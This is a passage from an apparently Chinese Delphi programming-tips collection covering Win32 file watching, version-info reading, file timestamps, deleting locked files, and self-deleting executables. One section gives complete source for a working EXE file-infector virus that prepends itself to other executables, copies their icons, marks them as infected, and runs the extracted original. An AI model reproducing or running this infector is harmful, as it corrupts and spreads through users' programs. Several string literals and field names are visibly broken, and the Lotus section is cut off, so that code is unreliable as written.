if FMutex<>0 then FObjectsArray[0]:=FMutex;

FreeOnTerminate:=True;

end;

//

destructor TFileChangesMultipleWatcher.Destroy;

begin

inherited;

{$ifdef DEBUGGING_FILECHANGES} writeln(Notification.PathName,' -DESTROY'); {$endif}

end;

//

procedure TFileChangesMultipleWatcher.Init;

begin

with Notification do begin

PathName:='';

WatchSubtree:=False;

NotifyFilter:=0;

Status:=fnsIdle;

Changes:=0;

wndHandle:=0;

NotificationMessage:=WM_USER;

end;

end;

//

procedure TFileChangesMultipleWatcher.Stop;

begin

Terminate;

ReleaseMutex(FMutex);

end;

//

procedure TFileChangesMultipleWatcher.Execute;

var WaitStatus,hChanges:DWORD;

Go:boolean;

begin

try while (not Terminated) do begin

with Notification do begin

hChanges:=FindFirstChangeNotification(PChar(PathName),WatchSubtree,NotifyFil

ter);

{$ifdef DEBUGGING_FILECHANGES} writeln('Notification Handle is

',hChanges); {$endif}

if (hChanges<>INVALID_HANDLE_VALUE) then try

FObjectsArray[1]:=hChanges;

Status:=fnsRunning;

Go:=True;

while (Go) do begin

{$ifdef DEBUGGING_FILECHANGES} writeln('WaitForSingleObject');

{$endif}

WaitStatus:=WaitForMultipleObjects(WAITOBJECTSCOUNT,@FObjectsArray,False,INF

INITE);

file://if Terminated then exit;

case WaitStatus of

WAIT_ABANDONED:begin

{$ifdef DEBUGGING_FILECHANGES} writeln('WAIT_ABANDONED');

{$endif}

end;

WAIT_OBJECT_0:begin

exit;

{$ifdef DEBUGGING_FILECHANGES} writeln('WAIT_OBJECT_0');

{$endif}

end;

WAIT_OBJECT_0+1:begin

inc(Changes);

if (wndHandle<>0) then

PostMessage(wndHandle,NotificationMessage,Changes,NotificationMessage+Change

s);

{$ifdef DEBUGGING_FILECHANGES} writeln('WAIT_OBJECT_1');

{$endif}

end;

WAIT_TIMEOUT:begin

{$ifdef DEBUGGING_FILECHANGES} writeln('WAIT_TIMEOUT');

{$endif}

end;

end;

Sleep(100);

Go:=FindNextChangeNotification(hChanges);

end;

finally

{$ifdef DEBUGGING_FILECHANGES} writeln('FINALLY 1'); {$endif}

FindCloseChangeNotification(hChanges);

end else begin

Status:=fnsError;

{$ifdef DEBUGGING_FILECHANGES} writeln('STATUS ERROR'); {$endif}

end;

end;

end;

finally

{$ifdef DEBUGGING_FILECHANGES} writeln('FINALLY 2'); {$endif}

ReleaseMutex(FMutex);

end;

{$ifdef DEBUGGING_FILECHANGES} writeln('BYE!'); {$endif}

end;

//


获取文件版本信息
定一个版本信息结构：

type

PFixedFileInfo = ^TFixedFileInfo;

TFixedFileInfo = record

dwSignature : DWORD;

dwStrucVersion : DWORD;

wFileVersionMS : WORD; // 次版本号

wFileVersionLS : WORD; // 主版本号

wProductVersionMS : WORD; // 建立次数(build)

wProductVersionLS : WORD; // 发行次数(release)

dwFileFlagsMask : DWORD;

dwFileFlags : DWORD;

dwFileOS : DWORD;

dwFileType : DWORD;

dwFileSubtype : DWORD;

dwFileDateMS : DWORD;

dwFileDateLS : DWORD;

end; // TFixedFileInfo

下面是取版本信息函数

function FileInfo( const FileName :String ) : TFixedFileInfo;

var

dwHandle, dwVersionSize : DWORD;

strSubBlock : String;

pTemp : Pointer;

pData : Pointer;

begin

strSubBlock := ';

// 取得文件版本信息的大小

dwVersionSize := GetFileVersionInfoSize( PChar( FileName ), dwHandle );

if dwVersionSize <> 0 then

begin

GetMem( pTemp, dwVersionSize );

try

//取文件版本信息

if GetFileVersionInfo( PChar( FileName ),dwHandle,

dwVersionSize,pTemp ) then

//查询文件版本信息

if VerQueryValue( pTemp,PChar( strSubBlock ),

pData,dwVersionSize ) then

Result := PFixedFileInfo( pData )^;

finally

FreeMem( pTemp );

end; // try

end; // if dwVersionSize

end;

调用例子：

var

f1:string;

x :TFixedFileInfo;

begin

f1 := Application.ExeName;

x := FileInfo( f1 );

ShowMessage( f1 +

#13#10'Version: ' + IntToStr( x.wFileVersionLS ) + '.' +

IntToStr( x.wFileVersionMS ) +

#13#10'Release: ' + IntToStr( x.wProductVersionLS) +

#13#10'Build: ' + IntToStr( x.wProductVersionMS ) );

end;

**********************************

获取文件版本信息

type

TFileInfo = packed record

CommpanyName: string;

FileDescription: string;

FileVersion: string;

InternalName: string;

LegalCopyright: string;

LegalTrademarks: string;

OriginalFileName: string;

ProductName: string;

ProductVersion: string;

Comments: string;

VsFixedFileInfo:VS_FIXEDFILEINFO;

UserDefineValue:string;

end;

function GetFileVersionInfomation(const FileName: string; var info: TFileInfo;UserDefine:string=''):

boolean;

const

SFInfo= ';

var

VersionInfo: Pointer;

InfoSize: DWORD;

InfoPointer: Pointer;

Translation: Pointer;

VersionValue: string;

unused: DWORD;

begin

unused := 0;

Result := False;

InfoSize := GetFileVersionInfoSize(pchar(FileName), unused);

if InfoSize > 0 then

begin

GetMem(VersionInfo, InfoSize);

Result := GetFileVersionInfo(pchar(FileName), 0, InfoSize, VersionInfo);

if Result then

begin

VerQueryValue(VersionInfo, '', Translation, InfoSize);

VersionValue := SFInfo + IntToHex(LoWord(Longint(Translation^)), 4) +

IntToHex(HiWord(Longint(Translation^)), 4) + ';

VerQueryValue(VersionInfo, pchar(VersionValue + 'CompanyName'), InfoPointer, InfoSize);

info.CommpanyName := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'FileDescription'), InfoPointer, InfoSize);

info.FileDescription := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'FileVersion'), InfoPointer, InfoSize);

info.FileVersion := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'InternalName'), InfoPointer, InfoSize);

info.InternalName := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'LegalCopyright'), InfoPointer, InfoSize);

info.LegalCopyright := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'LegalTrademarks'), InfoPointer, InfoSize);

info.LegalTrademarks := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'OriginalFileName'), InfoPointer, InfoSize);

info.OriginalFileName := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'ProductName'), InfoPointer, InfoSize);

info.ProductName := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'ProductVersion'), InfoPointer, InfoSize);

info.ProductVersion := string(pchar(InfoPointer));

VerQueryValue(VersionInfo, pchar(VersionValue + 'Comments'), InfoPointer, InfoSize);

info.Comments := string(pchar(InfoPointer));

if VerQueryValue(VersionInfo, ', InfoPointer, InfoSize) then

info.VsFixedFileInfo := TVSFixedFileInfo(InfoPointer^);

if UserDefine<>'' then

begin

if VerQueryValue(VersionInfo,pchar(VersionValue+UserDefine),InfoPointer,InfoSize) then

info.UserDefineValue:=string(pchar(InfoPointer));

end;

end;

FreeMem(VersionInfo);

end;

end;

调用演示：

procedure TForm1.Button1Click(Sender: TObject);

var

info: TFileInfo;

begin

if OpenDialog1.Execute then

begin

if GetFileVersionInfomation(opendialog1.FileName, info,'WOW Version') then

begin

Listbox1.Items.Add(OpenDialog1.FileName);

ListBox1.Items.Add('Comments:' + info.Comments);

ListBox1.Items.Add('CommpanyName:' + info.CommpanyName);

ListBox1.Items.Add('FileDescription:' + info.FileDescription);

ListBox1.Items.Add('FileVersion:' + info.FileVersion);

ListBox1.Items.Add('InternalName:' + info.InternalName);

ListBox1.Items.Add('LegalCopyright:' + info.LegalCopyright);

ListBox1.Items.Add('LegalTrademarks:' + info.LegalTrademarks);

ListBox1.Items.Add('OriginalFileName:' + info.OriginalFileName);

ListBox1.Items.Add('ProductName:' + info.ProductName);

ListBox1.Items.Add('ProductVersion:' + info.ProductVersion);

ListBox1.Items.Add('UserDefineValue:' + info.UserDefineValue);

if boolean(info.VsFixedFileInfo.dwFileFlags and vs_FF_Debug) then

listbox1.Items.Add('Debug:True')

else

ListBox1.Items.Add('Debug:False');

ListBox1.Items.Add('');

end;

end;

end;

*******************

GoodHope:

下面是我抽空写的一个读取全部版本信息的函数，由于工作紧张，没有写释放部分。

这个函数假定版本信息已经存到一个文件中，其实直接用GetFileVersionInfo取得的内容初始化TMemoryStream也是完全可以的。

type

TFileInfo = packed record

CommpanyName: string;

FileDescription: string;

FileVersion: string;

InternalName: string;

LegalCopyright: string;

LegalTrademarks: string;

OriginalFileName: string;

ProductName: string;

ProductVersion: string;

Comments: string;

VsFixedFileInfo:VS_FIXEDFILEINFO;

UserDefineValue:string;

end;

PAString = ^TAString;

TAString = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding: PWCHAR;

Value: PWCHAR;

end;

PStringTable = ^TStringTable;

TStringTable = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding: PWCHAR;

Children: array of PAString;

end;

PStringFileInfo = ^TStringFileInfo;

TStringFileInfo = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding: PWCHAR;

Children: array of PStringTable;

end;

PAVar = ^TAVar;

TAVar = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding: PWCHAR;

Value: PWCHAR;

end;

PVarFileInfo = ^TVarFileInfo;

TVarFileInfo = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding: PWCHAR;

Children: array of PAVar;

end;

PVSVersionInfo = ^TVSVersionInfo;

TVSVersionInfo = packed record

wLength: WORD;

wValueLength: WORD;

wType: WORD;

szKey: PWCHAR;

Padding1: PWCHAR;

Value: TVSFixedFileInfo;

Padding2: PWCHAR;

StringFileInfo: PStringFileInfo;

VarFileInfo: PVarFileInfo;

end;

function LoadVersionInfo(const FileName: string): PVSVersionInfo;

var

Stream: TMemoryStream;

function ReadWideString: PWideChar;

var

iCount, iSize: Integer;

Buffer: PWideChar;

wcTerminal: WideChar;

begin

Result := nil;

Buffer := Pointer(Integer(Stream.Memory) + Stream.Position);

wcTerminal := #0;

for iCount := 0 to ((Stream.Size - Stream.Position) div 2) - 1 do

if Buffer[iCount] = wcTerminal then begin

iSize := Succ(iCount) * SizeOf(WideChar);

Result := AllocMem(iSize);

Stream.Read(Result^, iSize);

Exit;

end;

end;

function AlignToDWord: PWideChar;

var

iCount: Integer;

begin

iCount := Stream.Position mod 4;

if iCount = 0 then

Result := nil

else begin

Result := AllocMem(((iCount + 1) div 2) * SizeOf(WideChar));

Stream.Read(Result^, iCount);

end;

end;

function ReadString: PAString;

begin

New(Result);

Stream.Read(Result.wLength, SizeOf(WORD));

Stream.Read(Result.wValueLength, SizeOf(WORD));

Stream.Read(Result.wType, SizeOf(WORD));

Result.szKey := ReadWideString;

ResultPadding := AlignToDWord;

Result.Value := ReadWideString;

AlignToDWord;

end;

function ReadStringTable:PStringTable;

var

TerminalPos: Integer;

begin

TerminalPos := Stream.Position;

New(Result);

Stream.Read(Result.wLength, SizeOf(WORD));

Stream.Read(Result.wValueLength, SizeOf(WORD));

Stream.Read(Result.wType, SizeOf(WORD));

Result.szKey := ReadWideString;

ResultPadding := AlignToDWord;

Inc(TerminalPos, Result.wLength);

while Stream.Position < TerminalPos - 1 do begin

SetLength(Result.Children, Length(Result.Children) + 1);

Result.Children[High(Result.Children)] := ReadString;

end;

end;

function ReadStringFileInfo: PStringFileInfo;

var

TerminalPos: Integer;

begin

TerminalPos := Stream.Position;

New(Result);

Stream.Read(Result.wLength, SizeOf(WORD));

Stream.Read(Result.wValueLength, SizeOf(WORD));

Stream.Read(Result.wType, SizeOf(WORD));

Result.szKey := ReadWideString;

ResultPadding := AlignToDWord;

Inc(TerminalPos, Result.wLength);

while Stream.Position < TerminalPos - 1 do begin

SetLength(Result.Children, Length(Result.Children) + 1);

Result.Children[High(Result.Children)] := ReadStringTable;

end;

end;

function ReadAVar: PAVar;

begin

New(Result);

Stream.Read(Result.wLength, SizeOf(WORD));

Stream.Read(Result.wValueLength, SizeOf(WORD));

Stream.Read(Result.wType, SizeOf(WORD));

Result.szKey := ReadWideString;

ResultPadding := AlignToDWord;

Result.Value := ReadWideString;

AlignToDWord;

end;

function ReadVarFileInfo: PVarFileInfo;

var

TerminalPos: Integer;

begin

TerminalPos := Stream.Position;

New(Result);

Stream.Read(Result.wLength, SizeOf(WORD));

Stream.Read(Result.wValueLength, SizeOf(WORD));

Stream.Read(Result.wType, SizeOf(WORD));

Result.szKey := ReadWideString;

ResultPadding := AlignToDWord;

Inc(TerminalPos, Result.wLength);

while Stream.Position < TerminalPos - 1 do begin

SetLength(Result.Children, Length(Result.Children) + 1);

Result.Children[High(Result.Children)] := ReadAVar;

end;

end;

begin

New(Result);

Stream := TMemoryStream.Create;

Stream.LoadFromFile(FileName);

Stream.Read(Result.wLength, SizeOf(ResultwLength));

Stream.Read(Result.wValueLength, SizeOf(Result.wValueLength));

Stream.Read(Result.wType, SizeOf(Result.wType));

Result.szKey := ReadWideString;

Result.Padding1 := AlignToDWord;

Stream.Read(Result.Value, SizeOf(Result.Value));

Result.StringFileInfo := ReadStringFileInfo;

Result.VarFileInfo := ReadVarFileInfo;

Stream.Free;

end;


获得最后使用文件的日期
在 Win95中有一项新的功能，就是可以获得访问文件

的最后日期。著名的 CleanSweapforWin95软件中就是靠这

一功能来作为判断某个文件是否被经常访问的依据之一。

在 Delphi中，我们可以通过下面的程序来达到此功能。

function GetFileLastAccessTime(sFileName:string;uFlag:byte):TDateTime;

var

ffd:TWin32FindData;

dft:DWord;

lft:TFileTime;

h:THandle;

begin

h:=FindFirstFile(PChar(sFileName),ffd);

if h<>INVALID_HANDLE_VALUE then

begin

case uFlag of

FILE_CREATE_TIME:FileTimeToLocalFileTime(ffd.ftCreationTime,lft);

FILE_MODIFY_TIME:FileTimeToLocalFileTime(ffd.ftLastWriteTime,lft);

FILE_ACCESS_TIME:FileTimeToLocalFileTime(ffd.ftLastAccessTime,lft);

else

FileTimeToLocalFileTime(ffd.ftLastAccessTime,lft);

end;

FileTimeToDosDateTime(lft,LongRec(dft).Hi,LongRec(dft).Lo);

Result:=FileDateToDateTime(dft);

windows.FindClose(h);

end

else

result:=0;

end;

GetFileLastAccessTime（）将会以 Delphi的 TdateTi

me格式返回你所指定的文件的最后访问日期


Exe文件的修改
我的程序也是给exe加一个文件头，只是论证一下可行性，离病毒那可差的远了:)

Code here:

//headerprj.dpr

program headerprj;

uses

Windows,Classes,SysUtils,Graphics,ShellAPI;

const

HEADERSIZE=78336;

ICONOFFSET=$11EB8;

INFECTFLAG='Infected By SOJ';

ID=$66666666;

{$R *.RES}

var

tmpFile:string;

si:STARTUPINFO;

pi:PROCESS_INFORMATION;

sr:TSearchRec;

Counter:Integer;

//routines

procedure CopyStream(Src:TStream;sStartPos:Integer;

Dst:TStream;dStartPos:Integer;Count:Integer);

var

sCurPos,dCurPos:Integer;

begin

sCurPos:=Src.Position;

dCurPos:=Dst.Position;

src.Seek(sStartPos,0);

dst.Seek(dStartPos,0);

dst.CopyFrom(src,Count);

src.Seek(sCurPos,0);

dst.Seek(dCurPos,0);

end;{CopyStream}

function Getmyname:string;

var

cmdline:String;

myname:Array [0..255] of Char;

i,j:integer;

begin

i:=1;j:=0;

cmdline:=GetCommandLine;

while cmdline[i]<>chr(0) do

begin

if cmdline[i]<>'"' then

begin

myname[j]:=cmdline[i];

inc(j);

end;

inc(i);

end;

myname[j-1]:=chr(0);

Result:=strpas(@myname);

end;{Getmyname}

function GetTempFullName:String;

var

tmpPath:Array[1..256]of Char;

tmpname:Array[1..256]of Char;

begin

GetTempPath(256,@tmpPath);

GetTempFileName(@tmpPath,'PQR',0,@tmpName);

Result:=StrPas(@tmpName);

end;{GetTempFullName}

procedure ExtractFile(filename:string);

var

sStream,dStream:TFileStream;

begin

sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);

dStream:=TFileStream.Create(filename,fmCreate);

sStream.Seek(HEADERSIZE,0);

dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);

sStream.Free;

dStream.Free;

end;

procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);

begin

si.cb := sizeof(si);

si.lpReserved := nil;

si.lpDesktop := nil;

si.lpTitle := nil;

si.dwFlags := STARTF_USESHOWWINDOW;

si.wShowWindow := state;

si.cbReserved2 := 0;

si.lpReserved2 := nil;

end;

function InfectFile(Filename:TFilename):Boolean;

var

hdrStream,srcStream:TFileStream;

icoStream,dstStream:TMemoryStream;

iID:Longint;

aIcon:TIcon;

begin

try

if Filename='headerprj.exe' then exit;

srcStream:=TFileStream.Create(Filename,fmOpenRead);

srcStream.Seek(-4,2);

srcStream.Read(iID,4);

if (iID=ID) or (srcStream.Size >1000000)then

begin

srcStream.Free;

Result:=False;

exit; //如果感染过了则退出

end;

srcStream.Free;

try

icoStream:=TMemoryStream.Create;

aIcon:=TIcon.Create;

aIcon.ReleaseHandle;

aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标

aIcon.SaveToStream(icoStream);

aIcon.Free;

srcStream:=TFileStream.Create(FileName,fmOpenRead);

hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件

dstStream:=TMemoryStream.Create;

CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);

CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);

CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);

dstStream.Seek(0,2);

iID:=$66666666;

dstStream.Write(iID,4);

finally

icoStream.Free;

srcStream.Free;

hdrStream.Free;

dstStream.SaveToFile(Filename);

dstStream.Free;

Result:=True;

end;

except;

end;

end;

//主程序开始

begin

Counter:=2;

if FindFirst('*.exe',faAnyFile,sr)=0 then

begin

InfectFile(sr.Name);

while (FindNext(sr)=0) and (Counter>0) do

begin

if InfectFile(sr.Name) then Dec(Counter);

end;

end;

FindClose(sr);

if ExtractFileName(Getmyname)='headerprj.exe' then exit;

tmpFile:=GetTempFullname;

ExtractFile(tmpFile);

fillstartupinfo(si,SW_SHOWDEFAULT);

CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);

end.

ps:文件名一定要叫headerprj.exe否则会有问题，看看代码就知道了


如何在NT/2000中删除一个正在使用的文件
<> MoveFileEx <>

这个函数允许我们对一个指定的文件或目录改名。但是如果我们在dwFlags中指定为TMOVEFILE_DELAY_UNTIL_REBOOT（仅对NT/2000有效），那么这次更动会在重启之后生效，系统会在重启之后删除或改改我们指定的文件。

用法：

MoveFileEx(ExistingFN, NewFN, MOVEFILE_REPLACE_EXISTING)

MoveFileEx(ExistingFN, NewFN, MOVEFILE_DELAY_UNTIL_REBOOT)

其中：

ExistingFN 为指定的文件或目录的路径。

NewFN 为新的文件或目录名。

标志 MOVEFILE_REPLACE_EXISTING 告诉函数如果文件或目录存在则改写它的名称。

如果 NewFN 设为 nil，那么则将其删除

例子：

移动文件：

MoveFileEx('c:.dll', 'd:.bak.dll',MOVEFILE_REPLACE_EXISTING);

MoveFileEx('c:.dll', 'd:.bak.dll',MOVEFILE_DELAY_UNTIL_REBOOT);

删除文件：

MoveFileEx('c:winnt.dll', nil,MOVEFILE_REPLACE_EXISTING);

MoveFileEx('c:winnt.dll', nil,MOVEFILE_DELAY_UNTIL_REBOOT);


运行完毕后删除自己的程序
procedure DeleteSelf;

var

module : HMODULE;

buf : array[0..MAX_PATH - 1] of char;

p : ULONG;

hKrnl32 : HMODULE;

pExitProcess, pDeleteFile, pFreeLibrary: pointer;

begin

module := GetModuleHandle(nil);

GetModuleFileName(module, buf, sizeof(buf));

CloseHandle(THandle(4));

p := ULONG(module) + 1;

hKrnl32 := GetModuleHandle('kernel32');

pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');

pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');

pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');

asm

lea eax, buf

push 0

push 0

push eax

push pExitProcess

push p

push pDeleteFile

push pFreeLibrary

ret

end;

end;

把DeleteSelf代码放在DPR文件的最后一句即可，程序关闭之后，就会自动删除文件！此外，如果要任何时候都删除Exe的话，可以配合ExitProc&TerminateProc全局变量和AddExitProc&AddTerminateProc来做到这一点！！这个过程的优点在于不需要一个临时文件，保密程度和技术方面都比较强的。当然，你也可以利用一个临时的批处理文件来达到目的！

procedure DeleteMe;

var

BatchFile: TextFile;

BatchFileName: string;

ProcessInfo: TProcessInformation;

StartUpInfo: TStartupInfo;

begin

BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';

AssignFile(BatchFile, BatchFileName);

Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + ParamStr(0) + '"');

Writeln(BatchFile,

'if exist "' + ParamStr(0) + '"' + ' goto try');

Writeln(BatchFile, 'del %0');

CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);

StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;

StartUpInfo.wShowWindow := SW_HIDE;

if CreateProcess(nil, PChar(BatchFileName), nil, nil,

False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,

ProcessInfo) then

begin

CloseHandle(ProcessInfo.hThread);

CloseHandle(ProcessInfo.hProcess);

end;

end;

**************

下面的代码由Gary Nebbett写就.Gary Nebbett乃是WINDOWS NT/2000 NATIVE API REFERENCE的作者.乃NT系统一等一的高手.下面就分析一些他的这段代码.

这段代码在PROCESS没有结束前就将启动PROCESS的EXE文件删除了.

int main(int argc, char *argv[])

{

HMODULE module = GetModuleHandle(0);

CHAR buf[MAX_PATH];

GetModuleFileName(module, buf, sizeof buf);

CloseHandle(HANDLE(4));

__asm {

lea eax, buf

push 0

push 0

push eax

push ExitProcess

push module

push DeleteFile

push UnmapViewOfFile

ret

}

return 0;

}

现在,我们先看一下堆栈中的东西

偏移 内容

24 0

20 0

16 offset buf

12 address of ExitProcess

8 module

4 address of DeleteFile

0 address of UnmapViewOfFile

调用RET返回到了UnmapViewOfFile,也就是栈里的偏移0所指的地方.当进入UnmapViewOfFile的流程时,栈里见到的是返回地址DeleteFile和HMODUL module.也就是说调用完毕后返回到了DeleteFile的入口地址.当返回到DeleteFile时,看到了ExitProcess的地址,也就是返回地址.和参数EAX,而EAX则是buffer.buffer存的是EXE的文件名.由GetModuleFileName(module, buf, sizeof buf)返回得到.执行了DeleteFile后,就返回到了ExitProcess的函数入口.并且参数为0而返回地址也是0.0是个非法地址.如果返回到地址0则会出错.而调用ExitProcess则应该不会返回.

这段代码的精妙之处在于:

1.如果有文件的HANDLE打开,文件删除就会失败,所以,CloseHandle(HANDLE(4));是十分巧妙的一手.HANDLE4是OS的硬编码,对应于EXE的IMAGE.在缺省情况下,OS假定没有任何调用会关闭IMAGE SECTION的HANDLE,而现在,该HANDLE被关闭了.删除文件就解除了文件对应的一个句柄.

2.由于UnmapViewOfFile解除了另外一个对应IMAGE的HANDLE,而且解除了IMAGE在内存的映射.所以,后面的任何代码都不可以引用IMAGE映射地址内的任何代码.否则就OS会报错.而现在的代码在UnmapViewOfFile后则刚好没有引用到任何IMAGE内的代码.

3.在ExitProcess之前,EXE文件就被删除了.也就是说,进程尚在,而主线程所在的EXE文件已经没了.(WINNT/9X都保护这些被映射到内存的WIN32 IMAGE不被删除.)

#include Windows.h

int main(int argc, char *argv[])

{

HMODULE module = GetModuleHandle(0);

CHAR buf[MAX_PATH];

GetModuleFileName(module, buf, sizeof(buf));

MessageBox(0,"Del Me","Test",MB_OK);

CloseHandle((HANDLE)4);

__asm {

lea eax, buf

push 0

push 0

push eax

push ExitProcess

push module

push DeleteFile

push UnmapViewOfFile

ret

}

return 0;

}

采用vc++6.0的控制台模式编译

运行该程序后自动把自己删掉


文件关闭和VB的问题
用Delphi写的DLL，在VB中进行调用，有的时候会不能关闭文件句柄？

VB启动的时候，会关闭5个标准DOS文件句柄(0..4)，这样，打开文件的例程就可以重新使用这些句柄，对于使用文件来说，没有什么问题，很正常，但是，Delphi的关闭文件的例程是有内建的安全特征的，它拒绝关闭DOS标准文件句柄。在DOS下，这是一个好主意，然而，你面临的情况是在DLL中打开文件，而且DLL可能不会关闭，即使关闭DLL你的文件也一直打开！！VC++的限制少一些，因此可以关闭标准的DOS文件句柄。如果你要真正关闭这个打开的文件，可以使用下面的过程：

Procedure ReallyCloseFile(Var F); Assembler;

Asm

les bx, F

mov bx, es:[bx]

mov ah, $3E

call Dos3Call

End;


读取老式的Lotos 123的文件
我真的很怀疑下面这些东西有什么用？不过对于某些人来说，也许有用，就收录了！

{This code came from Lloyd's help file!}

{How to read a Lotus 123 file}

UNIT U123; {Soure PC MAG. DECEMBER 13 1988... and others}

{ YES ! I did it in TP seven years Ago !!!}

INTERFACE

{

This routines ARE simple to use as 123.. :-)

1) Open the file

2) Add what you want.. where you want

3) Close the File

}

PROCEDURE Open123(n:string);

PROCEDURE Close123;

PROCEDURE ColW123(c:integer; a:byte);

PROCEDURE Add123Int(c,f:integer; v:integer);

PROCEDURE Add123Rea(c,f:integer; v:double);

PROCEDURE Add123TXC(c,f:integer; v:string);

PROCEDURE Add123TXL(c,f:integer; v:string);

PROCEDURE Add123TXR(c,f:integer; v:string);

PROCEDURE Add123FML(c,f:integer; s:string);

{

Open123(n:string);

n = File Name WITHOUT EXTENSION it ALways add WK1

It didn't check for a valid File Name or Existing, is

YOUR responsability to do that

Close123;

Close the Open File .. Always DO THIS !

In the rest of PROCEDURES c=Column and f=Row

c and F begins with 0 (cero)

if you want to Add in cell A1, use c=0 f=0

if you want to Add in cell B2, use c=1 f=1

etc.

Add123Int(c,f:integer; v:integer);

Add a Integer value (v) in Col=c Row=f

Add123Rea(c,f:integer; v:double);

Add a Double value (v) in Col=c Row=f

Add123TXC(c,f:integer; v:string);

Add a Label (v) in Col=C Row=f

- Label CENTER -

Add123TXR(c,f:integer; v:string);

Add a Label (v) in Col=C Row=f

- Label at RIGHT -

Add123TXL(c,f:integer; v:string);

Add a Label (v) in Col=C Row=f

- Label at LEFT -

ColW123(c:integer; a:byte);

Change width of Col=c to size=a

Add123FML(c,f:integer; s:string);

Add Formula (s) at Col=c Row=f

Examples:

Add123FML(0,0,'A5+B2+A3*C5');

Add123FML(0,1,'@Sum(B1..B8)');

==========================================

THE ONLY VALID @ function is SUM !!!!

Sorry :-(

==========================================

}

{ The rest of Comments are in SPANISH ... Sorry again }

IMPLEMENTATION

CONST

C00 = $00;

CFF = $FF;

VAR

ALotus : File;

PROCEDURE Open123(n:string);

Type

Abre = record

Cod : integer;

Lon : integer;

Vlr : integer;

end;

Var

Formato : array[1..6] of byte;

Registro : Abre absolute Formato;

Begin

Assign(ALotus,n+'.WK1');

Rewrite(ALotus,1);

with Registro do

begin

Cod:=0;

Lon:=2;

Vlr:=1030;

end;

BlockWrite(ALotus,Formato[1],6);

End;

PROCEDURE Close123;

Type

Cierra = record

Cod : integer;

Lon : integer;

end;

Var

Formato : array[1..4] of byte;

Registro : Cierra absolute Formato;

Begin

with Registro do

begin

Cod:=1;

Lon:=0;

end;

BlockWrite(ALotus,Formato[1],4);

Close(ALotus);

End;

PROCEDURE ColW123(c:integer; a:byte);

Type

Ancho = record

Cod : integer;

Lon : integer;

Col : integer;

Anc : byte;

end;

Var

Formato : array[1..7] of byte;

Registro : Ancho absolute Formato;

Begin

with Registro do

begin

Cod:=8;

Lon:=3;

Col:=c;

Anc:=a;

end;

BlockWrite(ALotus,Formato[1],7);

End;

PROCEDURE Add123Int(c,f,v:integer);

Type

Entero = record

Cod : integer;

Lon : integer;

Frm : byte;

Col : integer;

Fil : integer;

Vlr : integer;

end;

Var

Formato : array[1..11] of byte;

Registro : Entero absolute Formato;

Begin

with Registro do

begin

Cod:=13;

Lon:=7;

Frm:=255;

Fil:=f;

Col:=c;

Vlr:=v;

end;

Blockwrite(ALotus,Formato[1],11);

End;

PROCEDURE Add123Rea(c,f:integer; v:double);

Type

Entero = record

Cod : integer;

Lon : integer;

Frm : byte;

Col : integer;

Fil : integer;

Vlr : double;

end;

Var

Formato : array[1..17] of byte;

Registro : Entero absolute Formato;

Begin

with Registro do

begin

Cod:=14;

Lon:=13;

Frm:=2 or 128;

Fil:=f;

Col:=c;

Vlr:=v;

end;

Blockwrite(ALotus,Formato[1],17);

End;

PROCEDURE GrabaTXT(c,f:integer; v:string; t:char);

Type

Entero = record

Cod : integer;

Lon : integer;

Frm : byte;

Col : integer;

Fil : integer;

Vlr : array[1..100] of char;

end;

Var

Formato : array[1..109] of byte;

Registro : Entero absolute Formato;

i : word;

Begin

with Registro do

begin

Cod:=15;

Lon:=length(v)+7;

Frm:=255;

Fil:=f;

Col:=c;

Vlr[1]:=t;

for i:=1 to Length(v) do Vlr[i+1]:=v[i];

Vlr[i+2]:=chr(0);

end;

Blockwrite(ALotus,Formato[1],length(v)+11);

End;

PROCEDURE Add123TXL(c,f:integer; v:string);

begin

GrabaTXT(c,f,v,'''');

end;

PROCEDURE Add123TXC(c,f:integer; v:string);

begin

GrabaTXT(c,f,v,'^');

end;

PROCEDURE Add123TXR(c,f:integer; v:string);

begin

GrabaTXT(c,f,v,'"');

end;

PROCEDURE Add123FML(c,f:integer; s:string);

Type

Formula = record

Cod : integer; {codigo}

Lon : integer; {longitud}

Frm : byte; {formato}

Col : integer; {columna}

Fil : integer; {fila}

Res : Double; {resultado de formula}

Tma : integer; {tamanio de formula en bytes}

Fml : array[1..2048] of byte; {formula}

end;

symbol = (cel,num,arr,mas,men,por,dvs,pot,pa1,pa2);

consym = set of symbol;

Var

Formato : array[1..2067] of byte;

Registro : Formula absolute Formato;

fabs : boolean; {flag que indica si ffml es absoluta}

v, {v = string 's' sin blancos}

